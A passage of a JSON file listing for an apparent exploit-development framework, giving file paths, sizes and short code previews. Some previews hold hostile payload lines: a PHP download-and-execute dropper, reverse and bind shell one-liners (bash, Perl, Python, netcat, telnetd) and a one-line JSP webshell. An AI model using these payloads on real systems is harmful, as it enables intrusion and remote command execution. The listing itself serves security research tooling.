    "preview": "package main\n\nimport (\n\t\"os\"\n\t\"regexp\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t\"github.com/vulncheck-oss/go-expl"
  },
  {
    "path": "aspnet/aspnet.go",
    "chars": 5733,
    "preview": "// Package aspnet provides helper functions to deal with ASP.NET and C# applications that utilize the state preserving h"
  },
  {
    "path": "aspnet/aspnet_test.go",
    "chars": 8740,
    "preview": "package aspnet_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/aspnet\"\n)\n\nvar pageState1 = `<!DOCTYPE h"
  },
  {
    "path": "c2/channel/channel.go",
    "chars": 4525,
    "preview": "// The channel package is the container for first-party framework C2 structures and variables, it\n// holds the internal "
  },
  {
    "path": "c2/cli/basic.go",
    "chars": 3589,
    "preview": "// Command-line helpers for C2s\npackage cli\n\nimport (\n\t\"bufio\"\n\t\"net\"\n\t\"os\"\n\t\"sync\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/vul"
  },
  {
    "path": "c2/external/external.go",
    "chars": 9674,
    "preview": "// The external C2 module extends the C2 functionality and exposes an interface to allow for an\n// exploit to utilize a "
  },
  {
    "path": "c2/factory.go",
    "chars": 8091,
    "preview": "// Command and Control (C2)\npackage c2\n\nimport (\n\t\"github.com/vulncheck-oss/go-exploit/c2/channel\"\n\t\"github.com/vulnchec"
  },
  {
    "path": "c2/factory_test.go",
    "chars": 2497,
    "preview": "package c2\n\nimport (\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/c2/channel\"\n\t\"github.com/vulncheck-oss/go-exploit"
  },
  {
    "path": "c2/httpservefile/httpservefile.go",
    "chars": 10614,
    "preview": "// httpservefile C2 spawns an HTTP or HTTPS server and hosts arbitrary user-provided files. The normal use case\n// is fo"
  },
  {
    "path": "c2/httpserveshell/httpserveshell.go",
    "chars": 9550,
    "preview": "// httpservershell is (literally) a combination of HTTPServeFile and (SSLShell || SimpleShellServer).\n// The use case is"
  },
  {
    "path": "c2/httpshellserver/httpshellserver.go",
    "chars": 8873,
    "preview": "// A C2 server that handles shell interaction over HTTP.\npackage httpshellserver\n\nimport (\n\t\"bufio\"\n\t\"crypto/tls\"\n\t\"flag"
  },
  {
    "path": "c2/shelltunnel/shelltunnel.go",
    "chars": 11019,
    "preview": "// shelltunnel is a simple C2 that copies shell traffic between a reverse shell origin and\n// a connectback server. It e"
  },
  {
    "path": "c2/simpleshell/simpleshellclient.go",
    "chars": 2848,
    "preview": "package simpleshell\n\nimport (\n\t\"net\"\n\t\"sync/atomic\"\n\t\"time\"\n\n\t\"github.com/vulncheck-oss/go-exploit/c2/channel\"\n\t\"github."
  },
  {
    "path": "c2/simpleshell/simpleshellserver.go",
    "chars": 4519,
    "preview": "// A simple unencrypted reverse shell C2.\npackage simpleshell\n\nimport (\n\t\"net\"\n\t\"strconv\"\n\t\"strings\"\n\t\"sync\"\n\t\"sync/atom"
  },
  {
    "path": "c2/sslshell/sslshellserver.go",
    "chars": 6725,
    "preview": "// sslshell is a simple c2 that listens for incoming ssl/tls connections in order to establish a reverse shell.\n//\n// Th"
  },
  {
    "path": "cli/commandline.go",
    "chars": 28275,
    "preview": "// Package cli defines the command line interface interaction logic for an exploit utilizing go-exploit.\n//\n// Generally"
  },
  {
    "path": "cli/commandline_test.go",
    "chars": 9409,
    "preview": "package cli\n\nimport (\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/c2\"\n\t\"github.com/vulncheck-oss/go-exp"
  },
  {
    "path": "config/config.go",
    "chars": 17800,
    "preview": "// Exploit and framework configuration.\npackage config\n\nimport (\n\t\"bytes\"\n\t\"flag\"\n\t\"fmt\"\n\t\"strings\"\n\t\"text/template\"\n\n\t\""
  },
  {
    "path": "config/config_test.go",
    "chars": 4371,
    "preview": "package config_test\n\nimport (\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/c2\"\n\t\"github.com/vulncheck-os"
  },
  {
    "path": "db/create.go",
    "chars": 4340,
    "preview": "// SQLite Caching and Cross-Exploit Database\n//\n// The db package contains the logic to handle a user provided SQLite DB"
  },
  {
    "path": "db/get.go",
    "chars": 948,
    "preview": "package db\n\nconst (\n\tgetCacheData = `SELECT data FROM http_cache WHERE rhost = ? AND rport = ? AND uri = ?`\n\tgetInstalle"
  },
  {
    "path": "db/update.go",
    "chars": 1790,
    "preview": "package db\n\nimport (\n\t\"time\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t// pure go sqlite3 driver.\n\t_ \"modernc.org/"
  },
  {
    "path": "docs/c2.md",
    "chars": 9688,
    "preview": "# Command & Control\n\n## Supported C2\n\nIn `go-exploit`, the command and control (C2) provides very basic second stage and"
  },
  {
    "path": "docs/custom-payloads.md",
    "chars": 5508,
    "preview": "# Custom Payloads in go-exploit\n\nCustom payloads (or Bring-Your-Own-Payload (BYOP)) are supported from the go-exploit co"
  },
  {
    "path": "docs/db.md",
    "chars": 3997,
    "preview": "# Database Usage\n\ngo-exploit supports the use of an SQLite3 database in order to facilite cross-exploit communication an"
  },
  {
    "path": "docs/development.md",
    "chars": 1778,
    "preview": "# Developing `go-exploit`\n\nThe goal of `go-exploit` is to facilitate faster, more portable, and feature-rich exploit dev"
  },
  {
    "path": "docs/exploit-types.md",
    "chars": 2444,
    "preview": "# `go-exploit` Exploit Types\n\nThe `go-exploit` framework currently supports five exploit types. These types determine ho"
  },
  {
    "path": "docs/getting-started.md",
    "chars": 2736,
    "preview": "# Getting Started with go-exploit\n\nThis guide will help you get started with `go-exploit`, a Go package that assists dev"
  },
  {
    "path": "docs/output.md",
    "chars": 6962,
    "preview": "# Output\n\n`go-exploit` supports somewhat unusual output for an exploit framework. However, our belief is that `go-exploi"
  },
  {
    "path": "docs/scanning.md",
    "chars": 4805,
    "preview": "# Scanning\n\n`go-exploit` is designed to scan many hosts at once, and there are a number of features that support that de"
  },
  {
    "path": "docs/usage-example.md",
    "chars": 4383,
    "preview": "# Example Usage\n\n## Target Validation\n\nValidate the remote target is target using the `-v` command line option with `-rh"
  },
  {
    "path": "docs/version-checking.md",
    "chars": 2077,
    "preview": "# Version Checking\n\nVersion checking is a crucial step in the exploit process to ensure that the target is vulnerable an"
  },
  {
    "path": "docs/windows-lpe.md",
    "chars": 15251,
    "preview": "# Windows Local Privilege Escalation\n\nThe `windows` package provides primitives for developing Windows LPE exploits. It "
  },
  {
    "path": "dotnet/data/ReturnMessage.xml",
    "chars": 1709,
    "preview": "<SOAP-ENV:Fault id=\"xref-1\">\n    <faultcode id=\"xref-2\">SOAP-ENV:Server</faultcode>\n    <faultstring id=\"xref-3\"> **** "
  },
  {
    "path": "dotnet/dotnetgadget.go",
    "chars": 80552,
    "preview": "/*\nPackage dotnet contains all of the gadget creation functions for use in exploits. Calling a gadget can be as simple a"
  },
  {
    "path": "dotnet/dotnetgadget_test.go",
    "chars": 68723,
    "preview": "package dotnet\n\nimport (\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"testing\"\n)\n\nfunc TestTextFormattingRunPropertiesBinaryFormatter(t *tes"
  },
  {
    "path": "dotnet/formatters.go",
    "chars": 7182,
    "preview": "//nolint:musttag\npackage dotnet\n\nimport (\n\t_ \"embed\"\n\t\"encoding/xml\"\n\t\"fmt\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"github.com/vulnchec"
  },
  {
    "path": "dotnet/general_types.go",
    "chars": 9865,
    "preview": "package dotnet\n\nimport (\n\t\"strings\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t\"github.com/vulncheck-oss/go-exploit"
  },
  {
    "path": "dotnet/records.go",
    "chars": 19955,
    "preview": "package dotnet\n\nimport (\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"strings\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t\"github.co"
  },
  {
    "path": "dotnet/viewstate.go",
    "chars": 7248,
    "preview": "//nolint:makezero\npackage dotnet\n\n// Dotnet Serialization functions related to viewstate\n\nimport (\n\t\"crypto/aes\"\n\t\"crypt"
  },
  {
    "path": "dotnet/viewstate_test.go",
    "chars": 11917,
    "preview": "package dotnet\n\nimport (\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"os\"\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/encryption\"\n\t\"gi"
  },
  {
    "path": "encryption/aes.go",
    "chars": 1814,
    "preview": "// Package encryption provides functions for dealing with cryptography and cryptographic padding.\npackage encryption\n\nim"
  },
  {
    "path": "encryption/aes_crypto.go",
    "chars": 4451,
    "preview": "package encryption\n\nimport (\n\t\"crypto/aes\"\n\t\"crypto/cipher\"\n\t\"crypto/rand\"\n\t\"io\"\n\n\t\"github.com/vulncheck-oss/go-exploit/"
  },
  {
    "path": "encryption/aes_crypto_test.go",
    "chars": 5723,
    "preview": "package encryption_test\n\nimport (\n\t\"bytes\"\n\t\"crypto/aes\"\n\t\"crypto/rand\"\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploi"
  },
  {
    "path": "encryption/certificate.go",
    "chars": 1336,
    "preview": "package encryption\n\nimport (\n\t\"crypto/rand\"\n\t\"crypto/rsa\"\n\t\"crypto/tls\"\n\t\"crypto/x509\"\n\t\"crypto/x509/pkix\"\n\t\"math/big\"\n\t"
  },
  {
    "path": "encryption/des.go",
    "chars": 917,
    "preview": "package encryption\n\nimport (\n\t\"bytes\"\n\t\"crypto/cipher\"\n\t\"crypto/des\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n)\n\n/"
  },
  {
    "path": "encryption/kdf.go",
    "chars": 728,
    "preview": "package encryption\n\nimport (\n\t\"crypto/hmac\"\n\t\"crypto/sha512\"\n\t\"encoding/binary\"\n)\n\n// SP800-108 HMAC512 Key Derivation F"
  },
  {
    "path": "encryption/xor.go",
    "chars": 432,
    "preview": "package encryption\n\n// XOR encodes data with a repeating key.\nfunc XOR(data, key []byte) []byte {\n\tif len(key) == 0 {\n\t\t"
  },
  {
    "path": "encryption/xor_test.go",
    "chars": 1294,
    "preview": "package encryption_test\n\nimport (\n\t\"bytes\"\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/encryption\"\n)\n\nfunc TestXOR"
  },
  {
    "path": "framework.go",
    "chars": 19237,
    "preview": "// Package exploit is the entrypoint for exploits developed with the go-exploit framework.\n//\n// The exploit package inv"
  },
  {
    "path": "framework_test.go",
    "chars": 852,
    "preview": "package exploit_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit\"\n)\n\nfunc TestCheckSemVer_Full(t *testin"
  },
  {
    "path": "go.mod",
    "chars": 1158,
    "preview": "module github.com/vulncheck-oss/go-exploit\n\ngo 1.26.1\n\nrequire (\n\tgithub.com/Masterminds/semver v1.5.0\n\tgithub.com/antch"
  },
  {
    "path": "go.sum",
    "chars": 13546,
    "preview": "github.com/Masterminds/semver v1.5.0 h1:H65muMkzWKEuNDnfl9d70GUjFniHKHRbFPGBuZ3QEww=\ngithub.com/Masterminds/semver v1.5."
  },
  {
    "path": "java/constants.go",
    "chars": 2215,
    "preview": "package java\n\n// Constants required for the Java serialization protocol, as defined here: https://docs.oracle.com/javase"
  },
  {
    "path": "java/gadget_test.go",
    "chars": 18454,
    "preview": "// Tests for the Java gadgets, ALL GADGETS MUST HAVE A TEST\npackage java\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"testing\"\n\n\t\"github.com"
  },
  {
    "path": "java/gadgets.go",
    "chars": 50674,
    "preview": "/*\nThe Java analog to the dotnet deserialization generation package.\n\nThis allows for the creation of java deserializati"
  },
  {
    "path": "java/javaclass.go",
    "chars": 28938,
    "preview": "package java\n\nimport (\n\t\"encoding/binary\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"github.com/vulncheck-oss/go-exploit/config\"\n\t\"github."
  },
  {
    "path": "java/javagadget.go",
    "chars": 61294,
    "preview": "package java\n\nimport (\n\t\"embed\"\n\t\"errors\"\n\t\"fmt\"\n\t\"path/filepath\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"github.com/vulncheck-oss/go-e"
  },
  {
    "path": "java/ldapjndi/ldapjndi.go",
    "chars": 41912,
    "preview": "// This is an implementation of an evil JNDI LDAP server. The server accepts\n// connections and returned a malicious ser"
  },
  {
    "path": "java/objects.go",
    "chars": 8141,
    "preview": "/*\nThis is where the logic is defined to construct sound \"records\" for the Java serialization protocol as defined here: "
  },
  {
    "path": "output/commonlog.go",
    "chars": 3771,
    "preview": "// Package output handles structured logging for the framework and exploits.\n//\n// Our goals for logging in go-exploit w"
  },
  {
    "path": "output/exploitlog.go",
    "chars": 3746,
    "preview": "package output\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"io\"\n\t\"log/slog\"\n)\n\n// the log level for exploits.\nvar exploitLevel = LevelS"
  },
  {
    "path": "output/frameworklog.go",
    "chars": 3740,
    "preview": "package output\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"io\"\n\t\"log/slog\"\n)\n\n// The log level for the framework.\nvar frameworkLevel ="
  },
  {
    "path": "payload/bindshell/bindshell.go",
    "chars": 735,
    "preview": "// Bind shell payloads & listeners.\n//\n// The bindshell package contains all the code for generating bind shells that li"
  },
  {
    "path": "payload/bindshell/bindshell_test.go",
    "chars": 844,
    "preview": "package bindshell_test\n\nimport (\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/payload/bindshell\"\n)\n\nfunc"
  },
  {
    "path": "payload/bindshell/netcat.go",
    "chars": 784,
    "preview": "package bindshell\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/vulncheck-oss/go-exploit/random\"\n)\n\nconst (\n\tNetcatDefault = \"nc -l -p "
  },
  {
    "path": "payload/bindshell/telnet.go",
    "chars": 289,
    "preview": "package bindshell\n\nimport (\n\t\"fmt\"\n)\n\nconst TelnetDefault = \"telnetd -l /bin/sh -p %d\"\n\nfunc (telnet *TelnetPayload) Def"
  },
  {
    "path": "payload/dropper/dropper.go",
    "chars": 515,
    "preview": "// File dropper download and execute payloads.\n//\n// The dropper package contains all the code for download and execute "
  },
  {
    "path": "payload/dropper/dropper_test.go",
    "chars": 4525,
    "preview": "package dropper_test\n\nimport (\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/payload/dropper\"\n)\n\nfunc Tes"
  },
  {
    "path": "payload/dropper/groovy.go",
    "chars": 665,
    "preview": "package dropper\n\nimport (\n\t\"fmt\"\n)\n\n// Using Groovy, download a remote file, set it to executable, execute it, and delet"
  },
  {
    "path": "payload/dropper/php/dropper.php",
    "chars": 147,
    "preview": "<?php $d = file_get_contents(\"http://%s:%d/%s\");$o=tempnam(sys_get_temp_dir(), \"\");file_put_contents($o,$d);chmod($o, 07"
  },
  {
    "path": "payload/dropper/php/dropper_secure.php",
    "chars": 295,
    "preview": "<?php $options = array(\"ssl\" => array(\"verify_peer\" => false,\"verify_peer_name\" => false,),);$context = stream_context_c"
  },
  {
    "path": "payload/dropper/php.go",
    "chars": 504,
    "preview": "package dropper\n\nimport (\n\t_ \"embed\"\n\t\"fmt\"\n)\n\nvar (\n\t//go:embed php/dropper.php\n\tPHPDropper string\n\t//go:embed php/drop"
  },
  {
    "path": "payload/dropper/unix.go",
    "chars": 3232,
    "preview": "package dropper\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/vulncheck-oss/go-exploit/random\"\n)\n\n// Download a remote file with curl, "
  },
  {
    "path": "payload/dropper/windows.go",
    "chars": 3136,
    "preview": "package dropper\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n\n\t\"github.com/vulncheck-oss/go-exploit/random\"\n)\n\n// Download a remote file "
  },
  {
    "path": "payload/encode.go",
    "chars": 615,
    "preview": "// Payload related functions and actions\n//\n// The payload package contains a collection of universally applicable funct"
  },
  {
    "path": "payload/encode_test.go",
    "chars": 444,
    "preview": "package payload_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/payload\"\n)\n\nfunc TestEncodeCommandBrace"
  },
  {
    "path": "payload/fileplant/cron.go",
    "chars": 1292,
    "preview": "// file planting based payloads.\n//\n// The fileplant package contains payloads to aid the exploit developer in achieving"
  },
  {
    "path": "payload/fileplant/fileplant_test.go",
    "chars": 417,
    "preview": "package fileplant_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/payload/fileplant\"\n)\n\nfunc TestEncode"
  },
  {
    "path": "payload/payload.go",
    "chars": 11357,
    "preview": "package payload\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n)"
  },
  {
    "path": "payload/payload_test.go",
    "chars": 3239,
    "preview": "package payload_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/payload\"\n)\n\nfunc TestArchFromString(t *"
  },
  {
    "path": "payload/reverse/bash.go",
    "chars": 1176,
    "preview": "package reverse\n\nimport (\n\t\"fmt\"\n)\n\nconst (\n\tBashDefault        = BashTCPRedirection\n\tBashTCPRedirection = `bash -c 'bas"
  },
  {
    "path": "payload/reverse/gjscript/glib_spawn.gjs",
    "chars": 529,
    "preview": "const Gio = imports.gi.Gio;\nconst GLib = imports.gi.GLib;\n\ntry {\n\tlet connection = (new Gio.SocketClient()).connect_to_h"
  },
  {
    "path": "payload/reverse/gjscript.go",
    "chars": 616,
    "preview": "package reverse\n\nimport (\n\t_ \"embed\"\n\t\"fmt\"\n\t\"strings\"\n)\n\n//go:embed gjscript/glib_spawn.gjs\nvar GJScriptGLibSpawn strin"
  },
  {
    "path": "payload/reverse/groovy/classic.groovy",
    "chars": 585,
    "preview": "shell='/bin/sh';if(System.getProperty('os.name').indexOf('Windows')!=-1)shell='cmd.exe';Process p=new ProcessBuilder(she"
  },
  {
    "path": "payload/reverse/groovy.go",
    "chars": 509,
    "preview": "package reverse\n\nimport (\n\t_ \"embed\"\n\t\"fmt\"\n\t\"strings\"\n)\n\nvar (\n\t//go:embed groovy/classic.groovy\n\tGroovyClassic string\n"
  },
  {
    "path": "payload/reverse/java/process_builder.java",
    "chars": 671,
    "preview": "String shell = \"/bin/sh\";\nif (System.getProperty(\"os.name\").indexOf(\"Windows\") != -1) {\n\tshell = \"cmd.exe\";\n};\nProcess p"
  },
  {
    "path": "payload/reverse/java.go",
    "chars": 730,
    "preview": "package reverse\n\nimport (\n\t_ \"embed\"\n\t\"fmt\"\n\t\"strings\"\n)\n\nvar (\n\t//go:embed java/process_builder.java\n\tJavaProcessBuilde"
  },
  {
    "path": "payload/reverse/jjs/reverse_shell.jjs",
    "chars": 999,
    "preview": "var shell = \"bash\";\nif (java.lang.System.getProperty(\"os.name\").indexOf(\"Windows\") != -1) {\n\tshell = \"cmd.exe\";\n}\nvar p="
  },
  {
    "path": "payload/reverse/jjs/reverse_shell_ssl.jjs",
    "chars": 1534,
    "preview": "var shell = \"bash\";\nif (java.lang.System.getProperty(\"os.name\").indexOf(\"Windows\") != -1) {\n\tshell = \"cmd.exe\";\n}\nvar p="
  },
  {
    "path": "payload/reverse/jjs.go",
    "chars": 982,
    "preview": "package reverse\n\nimport (\n\t_ \"embed\"\n\t\"fmt\"\n\t\"strings\"\n)\n\nvar (\n\t//go:embed jjs/reverse_shell.jjs\n\tJJSShell string\n\n\t//g"
  },
  {
    "path": "payload/reverse/js.go",
    "chars": 681,
    "preview": "package reverse\n\nimport (\n\t_ \"embed\"\n\t\"fmt\"\n)\n\nvar (\n\n\t//go:embed nodejs/reverse.js\n\tNodeJS string\n\t//go:embed nodejs/re"
  },
  {
    "path": "payload/reverse/netcat.go",
    "chars": 805,
    "preview": "package reverse\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/vulncheck-oss/go-exploit/random\"\n)\n\nconst (\n\tNetcatDefault = NetcatGaping"
  },
  {
    "path": "payload/reverse/nodejs/reverse.js",
    "chars": 351,
    "preview": "(function(){\n\tvar net = require('net'),\n\t\tcp = require('child_process'),\n\t\tshell = \"/bin/sh\";\n\tif(process.platform == \"w"
  },
  {
    "path": "payload/reverse/nodejs/reverse_tls.js",
    "chars": 399,
    "preview": "(function(){\n\tvar tls = require('tls'),\n\t\tcp = require('child_process'),\n\t\tshell = \"/bin/sh\";\n\tif(process.platform == \"w"
  },
  {
    "path": "payload/reverse/openssl.go",
    "chars": 817,
    "preview": "package reverse\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/vulncheck-oss/go-exploit/random\"\n)\n\nconst (\n\tOpenSSLDefault = OpenSSLMkno"
  },
  {
    "path": "payload/reverse/perl.go",
    "chars": 1274,
    "preview": "package reverse\n\nimport (\n\t\"fmt\"\n)\n\nconst (\n\tPerlDefault    = PerlSocket\n\tPerlSocket     = `perl -e 'use Socket;$i=\"%s\";"
  },
  {
    "path": "payload/reverse/php/unflattened.php",
    "chars": 1605,
    "preview": "<?php\nfunction dataTransfer($input, $output) {\n\t$data = fread($input, 1024);\n\tfwrite($output, $data);\n}\n\nfunction window"
  },
  {
    "path": "payload/reverse/php/unflattened_self_delete.php",
    "chars": 1705,
    "preview": "<?php\nclass Del {\n\tfunction __destruct() {\n\t    unlink(__FILE__);\n\t}\n}\n$d = new Del();\nunlink(__FILE__);\n\nfunction dataT"
  },
  {
    "path": "payload/reverse/php.go",
    "chars": 1703,
    "preview": "package reverse\n\nimport (\n\t_ \"embed\"\n\t\"fmt\"\n\t\"strings\"\n)\n\nvar (\n\tPHPDefault          = PHPLinuxInteractive\n\tPHPLinuxInte"
  },
  {
    "path": "payload/reverse/python/reverse27.py",
    "chars": 405,
    "preview": "import socket\nimport subprocess\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect(('%s', %d))\nwhile 1:\n   "
  },
  {
    "path": "payload/reverse/python/reverse27_secure.py",
    "chars": 488,
    "preview": "import socket\nimport subprocess\nimport ssl\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect(('%s', %d))\ns"
  },
  {
    "path": "payload/reverse/python/reverse3_12_secure.py",
    "chars": 557,
    "preview": "import socket\nimport subprocess\nimport ssl\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect(('%s', %d))\ns"
  },
  {
    "path": "payload/reverse/python.go",
    "chars": 1155,
    "preview": "package reverse\n\nimport (\n\t_ \"embed\"\n\t\"fmt\"\n)\n\nvar (\n\tPythonDefault = Python27\n\n\t//go:embed python/reverse27.py\n\tPython2"
  },
  {
    "path": "payload/reverse/reverse.go",
    "chars": 2077,
    "preview": "// Reverse shell and command payloads.\n//\n// The reverse package contains all the code for reverse shell payloads. Each "
  },
  {
    "path": "payload/reverse/reverse_test.go",
    "chars": 8320,
    "preview": "package reverse_test\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/payload/reverse\"\n)\n\nf"
  },
  {
    "path": "payload/reverse/ruby.go",
    "chars": 893,
    "preview": "package reverse\n\nimport (\n\t\"fmt\"\n)\n\nconst (\n\tRubyDefault = RubySocket\n\tRubySocket  = `ruby -rsocket -e'f=TCPSocket.open("
  },
  {
    "path": "payload/reverse/telnet.go",
    "chars": 1165,
    "preview": "package reverse\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/vulncheck-oss/go-exploit/random\"\n)\n\nconst (\n\tTelnetDefault       = Telnet"
  },
  {
    "path": "payload/reverse/vbs/reverse_http.vbs",
    "chars": 1555,
    "preview": "Option Explicit\n\nCONST lkasjfo = \"%s://%s:%d/\"\nCONST fowihe = \"%s\"\n\nDim xmlHttpReq, shell, execObj, alfkj, break, result"
  },
  {
    "path": "payload/reverse/vbs.go",
    "chars": 557,
    "preview": "package reverse\n\nimport (\n\t_ \"embed\"\n\t\"fmt\"\n)\n\n//go:embed vbs/reverse_http.vbs\nvar VBSShell string\n\n// Generates a scrip"
  },
  {
    "path": "payload/webshell/aspx.go",
    "chars": 712,
    "preview": "package webshell\n\nimport (\n\t\"strings\"\n\n\t\"github.com/vulncheck-oss/go-exploit/random\"\n)\n\nconst aspxTemplate = `<%@ Page L"
  },
  {
    "path": "payload/webshell/bash.go",
    "chars": 289,
    "preview": "package webshell\n\n// A very basic bash webshell that evaluates commands from the QUERY_STRING.\n// Works with POST or GET"
  },
  {
    "path": "payload/webshell/jsp/webshell.jsp",
    "chars": 314,
    "preview": "<%%@ page import=\"java.io.*\"%%>\n<%%\nif (request.getParameter(\"%s\") != null) {\n\tProcess p = Runtime.getRuntime().exec(req"
  },
  {
    "path": "payload/webshell/jsp/webshell_min.jsp",
    "chars": 60,
    "preview": "<%%Runtime.getRuntime().exec(request.getParameter(\"%s\"));%%>"
  },
  {
    "path": "payload/webshell/jsp.go",
    "chars": 747,
    "preview": "package webshell\n\nimport (\n\t_ \"embed\"\n\t\"fmt\"\n)\n\nvar (\n\t//go:embed jsp/webshell.jsp\n\tGetKeyed string\n\t//go:embed jsp/webs"
  },
  {
    "path": "payload/webshell/php.go",
    "chars": 436,
    "preview": "package webshell\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/vulncheck-oss/go-exploit/random\"\n)\n\n// A very basic PHP webshell using s"
  },
  {
    "path": "payload/webshell/webshell.go",
    "chars": 363,
    "preview": "// Webshell payloads\n//\n// The webshell package contains webshell payloads that can be dropped onto remote targets\npacka"
  },
  {
    "path": "payload/webshell/webshell_test.go",
    "chars": 2525,
    "preview": "package webshell_test\n\nimport (\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/payload/webshell\"\n)\n\nfunc T"
  },
  {
    "path": "payload/wrapper.go",
    "chars": 8345,
    "preview": "package payload\n\nimport (\n\tb64 \"encoding/base64\"\n\t\"fmt\"\n\t\"strings\"\n)\n\nvar phpFilterMap = map[string]string{\n\t\"0\": \"conve"
  },
  {
    "path": "payload/wrapper_test.go",
    "chars": 5638,
    "preview": "package payload_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/payload\"\n)\n\nfunc TestBase64EncodeForBas"
  },
  {
    "path": "product/asus/asus.go",
    "chars": 1460,
    "preview": "// Package asus\n// Contains HTTP utilities for communicating with Asus products\npackage asus\n\nimport (\n\t\"encoding/base64"
  },
  {
    "path": "product/product.go",
    "chars": 83,
    "preview": "// Per-product code to reduce copy-and-pasting for common targets.\npackage product\n"
  },
  {
    "path": "product/wordpress/plugins.go",
    "chars": 4096,
    "preview": "package wordpress\n\nimport (\n\t\"archive/zip\"\n\t\"bytes\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"regexp\"\n\n\t\"github.com/vulncheck-oss/go-exploit/"
  },
  {
    "path": "product/wordpress/wordpress.go",
    "chars": 1814,
    "preview": "// WordPress automation wrappers\npackage wordpress\n\nimport (\n\t\"net/http\"\n\t\"net/url\"\n\t\"strings\"\n\n\t\"github.com/vulncheck-o"
  },
  {
    "path": "protocol/afp/afp.go",
    "chars": 29955,
    "preview": "// AFP network protocol\npackage afp\n\nimport (\n\t\"encoding/binary\"\n\t\"net\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/vulncheck-oss/g"
  },
  {
    "path": "protocol/ajp/ajp.go",
    "chars": 8619,
    "preview": "// Package ajp is a very basic (and incomplete) implementation of the AJPv13 protocol. This implementation is\n// enough "
  },
  {
    "path": "protocol/ajp/ajp_test.go",
    "chars": 1370,
    "preview": "package ajp\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"strings\"\n\t\"testing\"\n)\n\nfunc TestStructCreation(t *testing.T) {\n\treq := createFor"
  },
  {
    "path": "protocol/dotnetremoting/dotnetremoting.go",
    "chars": 13248,
    "preview": "// A library for .NET remoting functionality\n//\n// The exploit remoting service tool by tyranid was the primary referenc"
  },
  {
    "path": "protocol/fortinet/fgfm.go",
    "chars": 2759,
    "preview": "// Package fortinet is a very basic (and incomplete) implementation of Fortinet FGFM protocol\npackage fortinet\n\nimport ("
  },
  {
    "path": "protocol/http-user-agent.txt",
    "chars": 111,
    "preview": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36"
  },
  {
    "path": "protocol/httphelper.go",
    "chars": 19989,
    "preview": "// Network protocols. The core go-exploit protocol package contains a set of helper functions for common HTTP, TCP, and "
  },
  {
    "path": "protocol/httphelper_test.go",
    "chars": 1576,
    "preview": "package protocol\n\nimport (\n\t\"net/http\"\n\t\"testing\"\n)\n\nfunc TestBasicAuth(t *testing.T) {\n\tauth := BasicAuth(\"foo\", \"bar\")"
  },
  {
    "path": "protocol/ikev2/ikev2.go",
    "chars": 5676,
    "preview": "// Package ikev2\n// A (very) basic framework for an ikev2 protocol.\n// The intent with adding this package is not to add"
  },
  {
    "path": "protocol/ikev2/ikev2_test.go",
    "chars": 3552,
    "preview": "package ikev2\n\nimport (\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"testing\"\n)\n\nfunc TestVendorIDPack(t *testing.T) {\n\twant := \"2b000014c59"
  },
  {
    "path": "protocol/ikev2/packs.go",
    "chars": 4571,
    "preview": "package ikev2\n\nimport (\n\t\"github.com/vulncheck-oss/go-exploit/transform\"\n)\n\n// Creates a Nonce component.\n//\n//\tikev2.Ik"
  },
  {
    "path": "protocol/ikev2/types.go",
    "chars": 7433,
    "preview": "package ikev2\n\nimport (\n\t\"math/big\"\n\t\"net\"\n)\n\n// I hate go idioms for enums, so we're doing string maps.\n// The primary "
  },
  {
    "path": "protocol/mikrotik/mikrotik_test.go",
    "chars": 6757,
